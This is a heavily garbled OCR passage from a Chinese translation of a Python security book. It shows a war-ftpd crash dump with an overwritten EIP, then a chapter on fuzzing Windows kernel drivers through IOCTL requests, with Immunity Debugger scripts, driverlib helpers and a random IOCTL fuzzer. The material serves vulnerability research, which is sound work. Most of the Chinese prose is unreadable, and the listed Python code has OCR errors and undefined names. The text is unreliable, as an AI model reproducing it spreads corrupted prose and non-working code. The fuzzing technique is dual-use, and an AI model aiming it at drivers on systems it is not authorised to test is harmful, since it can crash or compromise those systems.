[INVALID] : 5¢5¢5¢5¢ Unable to disassemble at 5¢5c¢5¢5¢c from thread 252 caused
access violation

when attempting to read from 0x5c5c¢5c5c

CONTEXT DUMP

EIP: 5c¢5c¢5c¢c5c Unable to disassemble at 5c¢5c5c¢5c

EAX: 00000001 ( 1) =-> N/A

EBX: 5f4a9358 (1598722904) -> N/A

ECX: 00000001 ( 1} —= N/A

EDX: 00000000 ( 0) -> N/A

EDI: 00000111 ¢ 273) => N/A

ESI: 008a64f0 ( 9069808) -> PC (heap)

EEP: 00a6fb9c { 10943388)
BXJ_\'CDEU=@_EN=@_@eNsA_ENOGrA_EeN*Aa_0_CEeN0_

ctrJ_e_0_CeN (stack)

: 00abfbdd ( 3 b ey A R R S e e B SN ST e 010 i
192.168.244.128 logged out (stack)

+00: 5¢5¢5c5c 741092396)
+04: 5c5c5c5c 741092396)
+08: 5¢b5chebe 741052396)
+0c: 5¢c5che5e 741092396)
+10: 20205c5hc 538979372)
+14: 7274663 (1920233059)

disasm around:
0x5¢c5¢c5¢c5c Unable to disassemble

stack unwind:




Python & ¥8-F——2 % 5 # ) T42J7 &) Python %22 il

war-ftpd.exe:0042e6fa
MFC42.DLL:5£403d0e
MFC42 .DLL:5f417247
MFC42 .DLL:5f412adb
MFC42 .DLL:5f401bfd
MFC42.DLL:5£401blc
MFC42 .DLL:5f401a96
MFC42 .DLL:5f401a20
MFC42 .DLL:5£f4019ca
USER32.d11:77d48709
USER32.d11:77d487eb
USER32.d4d11:77d489a5
USER32.d11:77d4bccc
MFC42 .DLL:5f40116f

SEH unwind:
0la6fcf4 war-ftpd.exe:0042e38c mov eax,0x43e548
00a6fd84 MFC42 .DLL:5fd41ccfa mov eax, 0x5f4beB68
00aéfdcc MFC42.DLL:5f41cc85 mov eax, 0x5f4be6c0
00a6febc MFC42.DLL:5f41ccdd mov eax,0x5fdbe3dB
00aé6febc USER32.d11:77d70494 push ebp
00a6ff74 USER32.d11:77470494 push ebp
O0a6ffad MFC42.DLL:5f424364 mov eax,0x5f4c23b0
00a6ffdc MSVCRT.d11:77c35¢94 push ebp
EFEEEEEY kernel32.d11:7cB8399f3 push ebp

FIHACONIE, BOICAHT Sulley FFELEDNRELUZILHT IS TH. Sulley #5747
T OREA 0 T AT B B ORI 26 3 355 B . BETEAL B S AR SR A R0 DL R A AR £ 1
GFFtE. BUILIRCAEA Sulley BRIIHFEMR T IRAHE— A HHR daemon F2IF, EM 20 K
IR IZ K R — . BERRIAE VR e B A} fuzz W RS FEF 2 0 A T 290
H, R8Tk —FpIRA TR fuzzing WK R S 8% 0 A H () Windows BXaEhFRFF, 1X WK
BATHEE B O fuzzer 217 .




cineris
10

% 10E= M Windows IR EhAY
Fuzzing Mt A

Windows 3K 3 iE £ He ik ik A iR AT 38 4 VA B iR A A2 4 (exploit ) 14 iX —BHk &Y
MM AT, RAEAETEGILFPE Il — a2 A EhR L EORAE
B, Rim—FEAFTRAERN AL EHE -G THEEN M iR A RFHEF L6
Ak kit —FRIARR, £F 9 FPRAMNT GERETHfTEMA Sulley &b AT
WarFTPD " #) — AR b iR, R 4R 7T 63 R 2ot 69 2 % 8 &9 WarFTPD daemon iEA4& /)
H—ANTRES, T TFTZE#HAFLEIA daemon AU AP SHERXASTIRA P A S5
BFey, X EeR APPSR IIEET BAFEM, RN E G RM LK+ AR, X
A KRR A B AR E AT RATF P B LARRFER, RN EANFEHFE
MEZETEANBARFEEERATEH B A F R HELEY, FLAIANBHERA
BT ABMNKEIREZ GBI, WEERATAERMNBEZTAGRFHLT

ATEBRFRFERLEL, BNEELOBETAPLP A5 AZEZF, £ Windows
F#&MididE IOCTL (MA/MdiEd 2% ) HEEMREZERERX—E4, IOCTL £ %
EFRAPETHRERARFL ABATRERSZ R ABHOHE, SEMT—FF25 ) 6 2488
AR M, RELGEAF X THRLSFRALLRE, TAF X AASLRKG IOCTL 424
29T ik 2l A A T IR ACFRIE A, H E 5% A 484 B AR E AR 3% .

AFHE AN BrofTE — A8 M A IOCTL il 13 Hub] o) AW iZ & BAFiE 4, AR helfTE)
X —iR & & £ JG 469 IOCTL ik K, 2 )5 H£ A4 4 Immunity Debugger & # By 32 A4 &

(L) Z K. Kastya Kortchinsky, “Exploiting Kernel Pool Overflows”(2008), http://immunityinc.com/download/
KemelPool.odp.

@ # W, Justin Seitz. “I20MGMT Driver Impersonation Attack”(2008), http://immunityinc.com/download/
DrniverlmpersonationAttack_izomgnot.pdf.




Python & 7§ F——2 & 5 1% & L4274 Python % 2z il

45 B ARIL A IR Zh 4 TIOCTL # K, il ik KEH R LA~ A X F . AR
iF H4% A Immunity Debugger 1 3 &9 4 5 547 & driverlib & ¥ 35 £ A1\ B #73E 30 F £
A AR, it e R T A A ST RS R BB, R F R TR —A 2%
F 69 33 SAF P MEAT h F R0 KA LM A B ARARA 26 IOCTL J2 il 4h, X 4
driverlib &4 ShEAF e AT R TR F— MR 269 £ R A Fuzzer M S /M 69X A
1) , iX A3 ) B 69 Fuzzer A& & T A ARAZ A LA 65— A % A ioctlizer & Fuzzer &5 M & &4

ik F AT 44ve)

10.1 SR &h {5 KL Rk

JLT8f 4~ Windows Sah A AL 8 AF RGP IEMA M E MBS IR — M58
o MPEFRNHRERA T 5HEARKSN R FIE RIS, 5% Sl 54 58 ok 5
ZH WFI’-J . AR 8 & kernel32.d11 BT F H ) R 3L CreateFileW SR I 131X 4>
TR, XA R B R R

HANDLE WINAPI CreateFileW(
LPCTSTR l1pFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile

&

N2 ¥ IpFileName F T35 B A S SCAF ol B & 2R, A6 X IR AR H 459K 5
B3 B 7S #EEAE A S . S8 dwDesireAccess [KHUE Pes T A8 LA Fp 2 G
o5, MR PE B KU RS XH R TR H S
GENERIC_READ(0x80000000) 1 GENERIC_WRITE (0x40000000) . F — 4§ & #{
dwShareMode ## RN ENF, XEWE HBIRITHBX MR ZAT, X - &HER
1130t i oy 32 ok | JCA A P BEFPvi in) . 240 1pSecurityAttributes Kf #% % & 4 NULL
{F, DA FRAT B ’“ﬁ‘JWJ'UMHTU BN Z 2R, AR EEE A T8t
B ELERREINREAN, XA ERNEFEGE. BRINEIES K
dwCreationDisposition [FI{H % & & OPEN_EXSITING(0x3), XM IRAT N0 H bRt &

(@ Z L. MSDN CreateFile ¢fi ¥ (http://msdn.microsoft.com/en-us/library/aa363858.aspx).
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SCAELEI AR BT RS, k%A CreateFileW Kf LA 2% . doeJi BT AR 38 1 (1)
PS5 A FfES NULL {HED AT .

- H g % CreateFileW iR [AIZ5TRATT— N B A0, AT BRI AT 28l X — A K 1n) H FRi
9 1% IOCTL 54 . A 120 E45 B 5 —4~ API B3 DeviceloControl 3 4 #4174 i%X IOCTL
A, XA BUERE R A B kernel32.d11 S, HEEBURRW FFrok:

BOOL WINAPI DeviceIoControl (
HANDLE hDevice,
DWORD dwlIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID 1pOutBuffer,
DWORD noOutBuffersize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
)i
/2 % hDevice %% L & # CreateFileW AT [1] (K % & W 7E {H . 2% dwloControlCode
B BRA VT AL 25 WA KB ] IOCTL #5810, BXah#e PB4 IOCTL #5865 i) B K ok
SE NV 24 S HA By AL FR BT K . B2 FoRIZ L IpInBuffer h— L2 pb (X $5
IXANRER TS 1) (R 28 P DX AD 2 85 oAl 1B A R 1 H AR 2 I s I B A5 B, X B S 2 )
RAEA S AER . S % ninBufferSize & —NERE, R T A9 sh B R EdE 22
MK K. 23 1pOutBuffer 55 IpOutBufferSize [ X ST NS HGE [, B T IX P& 8
HTHEBBFEFROPERE, mAZKERH,PSNHEBRFAGXEE. 258
lpBytcs‘Rctumcd B mBRATA VG SR A T 208 . &5 — 123 IpOverlapped £
X H v E O NULL {E R0 AT,
BEARFRATT Ot B sh R aE A5 4 XA BT T8, T i35 ) Immunity Debugger K% of 44
8 DeviceloControl ¥ N8, FATEAEMIEH IOCTL i KL 2645 H briik sl 2 jir x4
S P B AN B v “ T,

10.2 {8 Immunity Debugger JE47 3K 5h 2k ) Fuzzing L

Immunity Debugger FTHECHE ) AE L FHLEEREIFERIES TEX R 2 [Pl 1
A5 Fuzzer. FATEE A IGS AWK PyCommand iy 4 - T-# Bh AT 1248 BT A1 48 17

(D 2 I MSDN DeviceloControl Ba%{ Chttp://msdn.microsoft.com/en-us/library/aa363216(vs.85).aspx ).
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Python & 8 F——2 & 5 i# &) L 42§ 4§ Python %42 Z il

DeviceloControl f9e& ¥, I EILAT 4 (B Z =48 e, 1R BT A FHC S
Bod skt H & SO G A TE- R 2 AR 4y H AR R . S EZ0 M — U2 AT IEAE R
IRANFEIFFI SIS, XEKAE I Fuzzing L)L FHESSBHERSAN, XIE
FE BRAERE R 0K 2 AR B a5 B RAE AR XA A R, IXFERATA RefS AE B Y
B (A3 5 .

S w4k T 4T Fuzzing MK 69 R 2 AR 69 TAE A MU, BESHR A 49 Fuzzing A% 4
F AR P e B, X ek HBAE A SR . AR E LIRS T )X Windows 3E 3
& —/-FPALAG IR,

AL RS Z1 T L B — N F7 () Python U4, KLy 42 4 ioctl_fuzzer.py, JF4ALL
TR,

ioctl_fuzzer.py

import struct
import random
from immlib import *

class iloctl_hook( LogBpHook ):
gef - HAnitii-tiself )

self .imm = Debugger ()
gelf.logfile = "C:\1loctl log.txt"
LogBpHook. init_ (self)

def run( self, regs ):
We use the following offsets from the ESP register

to trap the arguments to DeviceloControl:
ESP+4 -> hDevice

ESP+8B -> IoControlCode
ESP+C =-> InBuffer
ESP+10 -> InBufferSize
ESP+14 -> OutBuffer
ESP+18 -> OutBufferSize
ESP+1C -> pBytesReturned
ESP+20 -> pOverlapped




% 10 ¥ @& Windows 3& 3 #9 Fuzzing ®| X3 K

# MR EBEI TooTL #E Y

ioctl _code = self.imm.readLong( regs['ESP'] + 8 )

# RIS A B 2R ph X K/

inbuffer_size = self.imm.readMemory( regs['ESP'] + 0x10, 4)

HRAMELEIXIRDEIK 3T

inbuffer_ ptr = self.imm.readMemory( regs['ESP'] + 0xC, 4)

HAHR P X P B SR B N A
in_buffer = self.imm.readMemory({ inbuffer_ptr, inbuffer_size )
mutated _buffer = self.mutate( inbuffer_size )

# RS AE 5 2 Ja ) F B B S [0 48 b X

self.imm.writeMemory( inbuffer ptr, mutated_buffer )

# RS B R &

self.save _test_case( loctl_code, in_buffer, mutated buffer )
def mutate( self, inbuffer size ):

counter =0
mutated buffer = ""

# BRAIZE S s LI I B A BP0

while counter < inbuffer size:
mutated buffer += struct.pack("H", random.randint{ 0, 255 ) )[0]
counter += 1 :

return mutated buffer
def save_test_case( self, ioctl_code, in buffer, mutated buffer ):

messagp = FREEEELn

message += "IOCTL Code: 0x%08x\n" % ioctl_code

message += "Original Buffer: %s\n" % in_buffer

megsage "Mutated Buffer: %s\n" % mutated_buffer.encode ("HEX")
message = NhEkEEiaAne

fd = open( self.logfile, "a")
fd.write( message )
fd.close()




Python & ¥ F——2 % 5 i# &) T42 )7 &9 Python %42 il

def main({args):
imm = Debugger ()

deviceiocontrol = imm.getAddress( "kernel32.DeviceloControl" )

ioctl _hooker = ioctl_hook()
ioctl_hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )

return "[*] IOCTL Fuzzer Ready for Action!"

76 R AR R IEA 2 R IAT AT B () Immunity Debugger 18 H 4215 @oﬁrﬁ%&ﬂﬂ1l
FoA FH AR LogBpHook 8 F, AT ZATAESR 5 = O A S ER BN 4.
A1 T B 33 A {6 ) 1) 4 KA Bh A R A H AR SR 3 ) IOCTL = HiliL @ ﬁf‘)\%{ﬂhl’r’ﬂkﬂ!'
XKE®, LAKEXANEMN XN EO. Bty TGPty AL {E 8178 10 i 2%
MXO, I HHAESREAMMAZMNXEN. 55 RAE G H 2 7408 85 A 1
IR X O, HAMKUAHEHEAALDEXHZ GO, BiEGAAE LG & FHHE
PRFERT o

FEFRAT T B BT X B AR 2 /1, 5 A DR AR ST doctl_fuzzer.py L2878/ Immunity
Debugger 11 {#) PyCommands H &2 F. # FRIRTEHD H CERE 600 % (LA
K AEF IOCTL $54 1k 18 15 3K ahak ple A2 B (#2344 (A *ﬁﬂ@ﬂ%ﬁ?@ 1577 <K 338 0 sz 9 B
AR A FAR I B 2, IR AR SRR KA 2 . fEPAT T PyCommand
4 ioctl_fuzzer Z JG VR{E nl K S AT H bRt 48, Ui 95 Fuzzing FEED 4G T ! %1
2% 10-1 Frx )42 ioctl_fuzzer.py BIA 71 & ¥ Fuzzing X Wireshark IS fric 5% T (58 H
LTRSS

5% 10-1: 7Ex Wireshark B9 Fuzzing i3 PAHCR TR BIER

*hkEk Kk

IOCTL Code: 0x00120003

Buffer Size: 36

Original Buffer:
0000000000000000C0O0010000000100000000000000000000000000000000000000000000
Mutated Buffer:
adl100338ff334753457078100£78bde62cdc872747482a51375db5aa2255c46eB838a2289

*hkk kK

@ HRAT LA hetp:/fwww.wireshark.org/ |4 Wireshark .
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% od ok ok ok

IOCTL Code: 0x00001ef0
Buffer Size: 4

Original Buffer: 28010000
Mutated Buffer: abl2d7e6

ook ok &

M o B S B R LG Y AT RS T AN 20 TOCTL #2611 (0x0012003
F1 0x00001ef0), PR KA T H0REAR S (1) i A\ B0 22 b X R A HARIRB) o AR] LA Il 22
KB R SH P ESNHBFE#TREE, 489 A WA Wk ahF A& 4 il it 5
iz

JUEIX—HAR T 0 HA R, R T — SR fl. teln. FRATTN IEAE#E 5 Fuzzing
R & BT A I () 2 FR— T A ORI mT LAX) API B %L CreateFileW % M85, id
s R AT A A8 20 6 3 2 22 FR DL Rl iz [Pl R RR{E, I M $ DeviceloControl A i 4] i [#) {#
FTEOL, BV ZAE RG> M), I FLBATI T R ()6 2 IOCTL 4 il 35 K i

PR P AN O ML, XA B0 festd T 1R 2 875147 2800 s .

Ah, BRATT Fuzzer F&F N Y JC 7 FRHOB T A R P B4 v ER IR Z 4T R &, B3
FRATT A I AU ] B o] R B PR A

£ F - ATR 22 > W | Immunity Debugger It M 47 /1) i & 43 # L 2L %
driverlib. — HIRA'TA T driverlib #18h, IRA1{E ”H"—IFII%;)HLJMHn'}IXIJJ‘l Pi)i(”|ll"}f1'l'”l'f§|'é
8 £ PR CA B LB SR BT A TOCTL $#3il6S . 2E T IX bl B S R B R B ah A B, AT
Al DA A s B HLSE 0T )24 Y Fuzzer, & 0] LU BATIHEAT LKL Fuzzing I
RIMAFHFENNBOHPRZR.

10.3 Driverlib——fi [»] 3K 2) () 5 &5 20 by 1T H

Driverlib # & 14— BE8 M H #r 3Kz 4 B shALFiHUE 2245 B Python T RFE, iXfE
A IATE R T NAT BB S TR . O 7805 H AR 38 30 B A8 H (1) 1% % 2 FREA
B F B SCFF A 2 TIOCTL $50, —Ff g Y i il 2 4 3R AT 1) H AR 3R 3h 3 A IDA Pro 1§
# Immunity Debugger —# TR 2, ARG LLFah 7 K RIC g 4 b 3R A G E R . &
IR AR % driverlib PR 8BRS, 35 Bh R B ARE funf LA sh Ak i) 7 20 sl bk (1
X—RE, ZJRBATRRALE —FBOR A F ARSI FE ¥ Fuzzer ikt . BAELLRAS
KA driverlib {5 CE % Ffbng !




Python & ¥ F——2 % 5 i# ) T#2Jf 49 Python H#AZLZif

10.3.1 FRIFAZIR
321 T Immunity Debugger 58 KN & Python FEAHBEY, R HiHEE T H AR B3z )i
%A TR, #E 10-2 FrasiiE & driverlib 5 5 2 RIG R B
53 10-2: Driverlib BE & 918 & B 18 R HIi2

def getDeviceNames( self ):

string_list = self.imm.getReferencedstrings( self.module.getCodebase() )
for entry in stringlist:
if *\\Device\\" in entry[2]:

self.imm.log( "Possible match at address: 0x%08x" % entry([0],
address = entryfo] )

self.deviceNames.append( entry[2].split("\"")[1] )
self.imm.log("Possible device names: %s" % self.deviceNames)

return self.deviceNames

RBAE E XA BRMNWE — N FHFEYER, EXNFNRPEST A EHFEEK
b g B ERF S, BEAERMNETHELXNMNIEKREILEFE “\Device\”
FrFd, FH “\Device\” WA XA FFF H 1R ] g4 FH 75 5K 3h BT v M0 77 S 88
PRATPAEF 3 DN Wah B F R — FF, ndrar B 22308 W ah £ ¢ C:\Windows)\
System32\beep.sys # A Immunity Debugger, Ji7E il ik 2% N &% ) PyShell %y A LLF
1

*** Tmmunity Debugger Python Shell v0.1 **#%

Immlib instanciated as 'imm' PyObject

READY.

>>> import driverlib

>>> driver = driverlib.Driver()

>>> driver.getDeviceNames ()

[*\\Device\\Beep']

] LA 3 driverlib AR T — MG 0K 8 % £ FR\Device\Beep, X~ #2 1 1
fE 3R AT=A4T Python (RRS, BRLMLURTER 54T T-I0 K054 46 S22 LI B M ) SR 4 %
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FlFZ . FRIRME HYCEB S IOCTL T2 IREIFE L LB L F¥ 194 24 IOCTL ##ili4
13k k.

10.3.2 34 I0CTL 9 ikHIFE

fEfal —ANSE8L T IOCTL 4 1 ) K zh #2 Fp 2 R b s A7 £ — A4~ IOCTL ZrIRBIFE. 4

U 20 5 e A AR, N 11 BR B DriverEntry B2 SO . 51K 10-3 MIRER T

A EIF) DriverEntry FIFEH 2, M RATLLE BX — W FsLB T —/ I0CTL
43 UK eF 3 .

5% 10-3: —~ &K@ DriverEntry 32 c 553

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{

UNICODE_STRING uDeviceName;

UNICODE_STRING uDeviceSymlink;

PDEVICE_OBJECT gDeviceObject;

Rt1lInitUnicodeString( SuDeviceName, L"\\Device\\GrayHat" );
RtlInitUnicodeString( SuDeviceSymlink, L*"\\DosDevices\\GrayHat" );

/) 8%
ToCreateDevice( DriverObject, 0, &uDeviceName, FILE DEVICE_ NETWORK,
0, FALSE, &gDeviceObject ):

// B A1 kS BRI U ) 3K 3

IoCreateSymbolicLink (&uDeviceSymlink, &uDeviceName) ;

/1 REEAEIRE
DriverObject->MajorFunction[IRP_MJ_ DEVICE_CONTROL]

= JIOCTLDispatch;
DriverObject->DriverUnload

= DriverUnloadCallback;
DriverObject->MajorFunction[IRP_MJ_CREATE]

= DriverCreateCloseCallback;
DriverObject->MajorFunction[IRP_MJ_CLOSE]

= DriverCreateCloseCallback;

return STATUS_SUCCESS;
}

PraT AMIXANER 2 A (1) DriverEntry $1F2 b 7 % 3146 K % $08 & 3K Eh () 1 A6 H
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Python % #8 F——2 % 5 i¥ %) T42JF 69 Python #A2 L i

Ko A —ATARIERR BRATT % 5T X

DriverObject->MajorFunction[IRP_MJ DEVICE CONTROL] = IOCTLDispatch

XATACHS 5 U 3K B B 7 IOCTL_Dispatch K48 1 51 T IOCTL WK IR TE. 4
XA FE) ff“*dfﬁﬁ‘z_ F 0 3XAT C AT 8 5 el 5 0 F BT s 7 G DA A RS AR LUK 45 21 .

mov dword ptr [REC+70h], CONSTANT

Pr¥G oA B — 28 % 2 1 45 2l B XU 45 #4944 MajorFunction (6 N T FaRC 454
F1ff) REG) fEfm# bl 0x70 44, AW R EIRE IN T ERICHIES T
CONSTANT) ¥4 Titab. AT LA X A3 HENT Y IOCTL Ak 2 6 #2 i Br 78 2
(CONSTANT), ix B top R AT F4E 3 A 8 IOCTL &6 7. %3 10-4 [ PR3 x
driverlib J2 W] K & B A 14 T T IRGIFE K

P 10-4: XA BFIEREIHFIET IOCTL 7kl

def getIOCTLDispatch( self ):
search_pattern = "MOV DWORD PTR [R32+70],CONST"

dispatchaddress = self .imm.searchCommandsOnModule( self.module
.getCodebase(), search_pattern )

# RATE SETEHIBR LB LA

for address in dispatch_address:
instruction = self.imm.disasm( address|[o] )

if "MOV DWORD PTR" in instruction.getResult ():
if "+70" in instruction.getResult():

self.TOCTLDispatchFunctionAddress =
instruction.getlmmConst ()
self.IOCTLDispatchFuncticn =
self.imm.getFunction
(self.IOCTLDispatchFunctionAddress)
break

# ATARTh, WERFPLX AN f EO B
return self.IOCTLDispatchFunction
Fos AR EI R ] T Immunity Debugger FrE2 L5418 APL, B HRIERI1IE &
IBRHER R T 1 & 464 . — B3R BIXFE—&454, BATH 34—/ Function
X B IE R G RAER W], XX RN BRA 1 T4 2 IOCTL £ 5150 X 4.
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% 10 % @& Windows 383 45 Fuzzing R X H K

R ATE — A LA IOCTL 43RG 42, S8 3RA14 H B —28 3 & U 7 K
*scER A 2 IOCTL #5165 i) 5 ah ik 48 <1 .

10.3.3 #FBHHAY IOCTL =HIF5

IOCTL 43R5 FE10 5 2 MR8 F P 28 v #2 P Bir i A i) 428 1 ﬁfﬂuﬂﬁkmkﬁﬂﬁxﬂﬁﬁﬁ'ﬁw
VR WA, 3 REA BN UK TOCTL 8 % AT — 40— 6 MRS HAT I8 12. A
SRIGANAH B ORI A EE ) Fuzzer GBS I 10t M 1) fiok 45 540 43 "f&“};l.ﬂ AT, XMW IR
11‘Jj<?‘!fﬁff 3R A 2L TOCTL #HIRS f J5 A B e . Rk A1k —/ B C 1S, EFf
AR B IOCTL 43k 2R 2 0 FE A 22 . AR A8 BIFRATT el TS & 53 (7 G o Jely H
AT 0 TOCTL # 6l E. — A~ A IOCTL 4 IRFIFE W 51 % 10-5 Fros:

B 10-5: —/E1LRY IOCTL &3 iRPIFE, Z¥FT =MARFE A IOCTL =455
(0x1337. 0x1338 1 0x1339)

NTSTATUS IOCTLDispatch( IN PDEVICE_OBDECT DeviceObject, IN PIRP Irp

{
ULONG FunctionCode;
PIO_STACK_LOCATION IrpSp;

// MWAER 1ocTL iR ERRE H R
IrpSp = loGetCurrentlrpStackLocation(Irp);
FunctionCode = IrpSp->Parameters.DeviceloContrel.IoControlCode;

/4 1B3E TocTL FEHID i MU R g s SR ] A
/7 ATE)

switch(FunctionCode)

{
case 0x1337:
/... KBATE) A
case 0x1338:
// ... KBTS B
case 0x1339:
b RATRE ©

Irp->ToStatus. Status = STATUSSUCCESS;
IoCompleteRequest ( Irp, I0_NO_INCREMENT ) ;

return STATUS_ SUCCESS;




Python & 8 -F——2 % 5 & %) L#2)f &) Python % A2 Z i

- H AR RS MK E FH 7 () TOCTL iR 2 3 MU AR S i #2 HlL @, 38 5 /R R & 31—
/A~ switch{ } &5 4 BB 5 @, X M EEMIAREE X A AN [A] TOCTL 2 A5 K g i e KB
MATE) . TR K switch G5 H AL RIL @IS AL —Fh R, F1I3K 10-6 MR 2
T PR UL S .

¥|% 10-6: switch{}EH{KR A EEACHRIESTIER

/1 —&RFIH cvp $54 H TR W He T

CMP DWORD PTR SS: [EBP-48], 1339 # Pt B AT HE N 0x1339
JE 0xSOMEADDRESS # BEEE T 0x1339 #HE4TE)
CMP DWORD PTR SS:[EBP-48], 1338 # W2 AN 0x1338
JE OxSOMEADDRESS

CMP DWORD PTR SS:[EBP-48], 1337 # SR ERYEA 0x1337
JE OXSOMEADDRESS

//—FRFIH suB 54 A Fi#is 10CTL FHlES

MOV ESI, DWORD PTR DS:[ESI + C]# ¥ IOCTL #B#lifFA ESI W78

SUB ESI, 1337 # LR ERE N 0x1337

JE 0xSOMEADDRESS $BEHETE 0x1337 H4TED

SUB ESI, 1 #8A R BEUE Y 0x1338

JE OxSOMEADDRESS #kEE A 0x1338 HISKATE)

SUB ESEi 1 IR EHE L 0x1339

JE 0xSOMEADDRESS #MEE S 0x1339 #1738

Wof T4 1 % K Ui switch 1 R) AL A HLES R S Ao A0 ATtk FE, FoRIM
T 0 BT W B WL AR MR IRATT AT UG B — R 5 CMP 528 T-FfEA
(f) IOCTL # S REAT H AL EEXT . IX LR AR H WA T S K (A2 IOCTL i, Hite
IIE BT EEIHANE . T8 i m, AT E L8 T — 25 Oy A —
AT (FEIXBLZAF 748 ESD (1) SUB ik 2, I HAER —DWEETR 2 2 )5 Ni%ER bl
MRS . EXFIE o0 T £ BT 1) 5 (8 B ok B0 AN il 2 1 o

SUB. EST; 1337

XL S MEBEA: 0x1337 AWFEFF SRS/ IOCTL &MY, bR 14E
BE| &S LAMEHK SUB 54, AT TS E SN RS T HEEH 54
A2 IOCTL #:4|#%. 7 Immunity Debbuger [¥] %3 #72 F ¥/ Al LLIL F] driverlib FE 135 54
SCAF Libs\driverlib.py . TEIXANRSCAFRE — N ERE R e $ getlOCTLCodes(), 7] fH T8
BhEATTE 320t IOCTL 73 UR ef BOFH I BT A4 24 IOCTL #4ili%. fRn] LG ) H A —
S i o AR R S e A 1

BLAEARI 29X driverlib PEQ] A BATTABEAEE M A XA TMHR T, FEHERRINKF
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IR T ! B RATE LSS driverlib A HAx 33 S48 F- 1 A 200 i 4 2 FR LU IOCTL
Pibing, IR b 45 RAF A — A pickle XX . Bl JE AT ¥ #9 # (¥) IOCTL Fuzzer
PRSI HAETE pickle SCAE 045 Bk A4 A0 & &N 2 IOCTL #3655 (8t 1l . iX
AN AT AR o 4 0 5 s 2 e (R AR AT 3 5 %, 10 HLIRATTI) Fuzzer T LATCAK 11 b3 T iz 4T
FZ, MABEGEREN ISP SR TZ IR R . A LERNTIFE Fuzz!

10.4 B2 Fuzzer

BATE T R 28— FE {8 2 608 — 4> PyCommand #ir4 F T4 IOCTL {5 8. & —
BT Python U, R H Ay #4 4 ioctl_dump.py FE4A W FACHS.

ioctl_dump.py
import pickle
import driverlib

from immlib import *

def main( args ):
doetls lisk "= ]
device_list = []

imm = Debugger ()
driver = driverlib.Driver ()

#HEBUH TocTL EHBY R E R EHLRER
ioctl_list = driver.getIOCTLCodes /()
if not len(ioctl_list):
return "[*] ERROR! Couldn't find any IOCTL codes."

device_list = driver.getDeviceNames ()
if not len(device list):
return "[*] ERROR! Couldn't find any device names."

# BAGIE— D F RN S S A 2
master_list = {}
master_list["ioctl_ list*"] = ioctl_list

q}ﬁmmmﬁmmﬂ%ﬁkmlﬂrXTmdbm%gmﬂﬁ§MMMMwwmemwQOw
module_pickle.html.
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master_list["device_list"] = device_list

filename = "%s.fuzz" % imm.getDebuggedName ()
fd = open( filename, "wb")

pickle.dump({ master_list, fd )
fd.close()

return "[*] SUCCESS! Saved IOCTL codes and device names to %$s" % args[0]

X~ PyCommand ir> () SEBEHE+4r f#e: # S U347 240K IOCTL #4144 £ @,

AL RELHIN KO, KL EREFT N FHRNEZ T O, Gkt g
A~ pickle A2 @ AE X F MUK 7 £ Immunity Debugger A H b K5 340 4T
PyCommand i % lioctl_dump B W] . $5 284 sl ff) pickle % fif 04+ 7] LIAE Immunity Debugger
LA ke 4k 3.

BN F K O THMA /LIRS IOCTL 665, 7] LU F{&, H/
KT, AEBRATIT SRR — AN B B Fuzzer! 5 B RS AR #4 E 1K) Fuu.erf ]I’
IRV H AR A PR T N 1775 e DL R R RY ) bug, 48R3 — 9 BIX A Fuzzer DLAFIH
P 2L bug A RMHHES .

G —~ BT 1) Python U, #3444 my_ioctl_fuzzerpy, FFALL FALHS.

my_ioctl_fuzzer.py

import pickle
import sys
import random

from ctypes import *
kernel32 = windll.kernel32

# M win32 APT BR¥FT IO M 2 X
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3

# H pickle T HFIHUH FHAX S

fd = open(sys.argvil]l, "rb")
masterjist = pickle.load(£fd)
ioctl_list = master_list["ioctl list"]

® for device_name in device list:
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# B LLIE 8 U 1) 8% JE 5

device_file = u"\\\\.\\%s" % device name.split ("\\")[::-11[0]
print "[*] Testing for device: %s" % device_file

driver_handle = kernel32.CreateFileW(device_ file, GENERIC READ]
GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

if driver_handle:
print "[*] Success! %= is a valid device!”

if device_file not in valid_devices:
valid_devices.append( device_file )

kernel32.CloseHandle( driver_handle )
else:
print "[*] Failed! %s NOT a valid device."

not len(valid_devices):
print *[*] No valid devices found. Exiting..."
sys.exit (0)

# IRAEIRATIFFREAS T K Bl B 2 AR R UKD, M B PR AT,
# ¥ CTRL-C #H&HtB HixX- ~ A ER L5 b AT 458 1 Fuzzing
while 1:

# HATHHECH

fd = open("my_ioctl_ fuzzer.log',"a")

# BOVLER R &2

current_device = valid_devices[ random.randint (0, len(valid_devices)
=1 3]

fd.write("[*] Fuzzing: %s" % current device)

# BEHLIEE TocTL #5§15
current_ioctl = ioctl_list[ random.randint (0, len{ioctl _list)-1)]
fd.write("[*] With IOCTL: 0x%08x" % current ioctl)

# BEHHLEI
current_length = random.randint (0, 10000) vy
fd.write("[*] Buffer length: %d" % current_length)
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¥ RAVA—HEE A RARENK, FRATLURE B a9k
f FEIX B NS W ) ) A L

in_buffer = "A" * current_ length

# RVFIXA TOCTL WK (%t 28 v X
out buf = {(c_char * current_length) ()
bytes_returned = c ulong{current_length)

# R &AW
driver_handle = kernel32.CreateFileW(device_file, GENERIC_READ|
GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

fd.write("!!FUZZI!")

# PATIXANSA H 8

kernel32 .DeviceloControl( driver_handle, current_ioctl, in_buffer,
current_length, byref (out_buf),
current_length, byref(byvtes_returned),
None )

fd.write( "[*] Test case finished. %d bytes returned.\n" %
bytes_returned.value )

# KPS ATE B Mg EE T — Rt
kernell2.CloseHandle( driver_handle )
fd.close()

B 5E M pickle ¥efili U PRI AH IR &5 8, IXAHE IOCTL #5418 5 % & £ 75 51
RO, FHTA) T B LR DA R IRATTRESE N A5 W & B H N G f) R @,
AT LR () R & AR B RATAFI R P BIBR . 8 R oRBAT BB E R — A B Fri &
® LI IOCTL #Hli%0, HEGE —hKEMIKEREEN 250, RiTkx
IOCTL i 3K &4 H AR 9K ah I F—4# 1) Fuzzing #1)3.

IR TR B SO BT AE 1 B8 2V o S 80U AN BRI FZEFTIX A Fuzzer F2)%, 1 Ffif1
S5 BT 718«

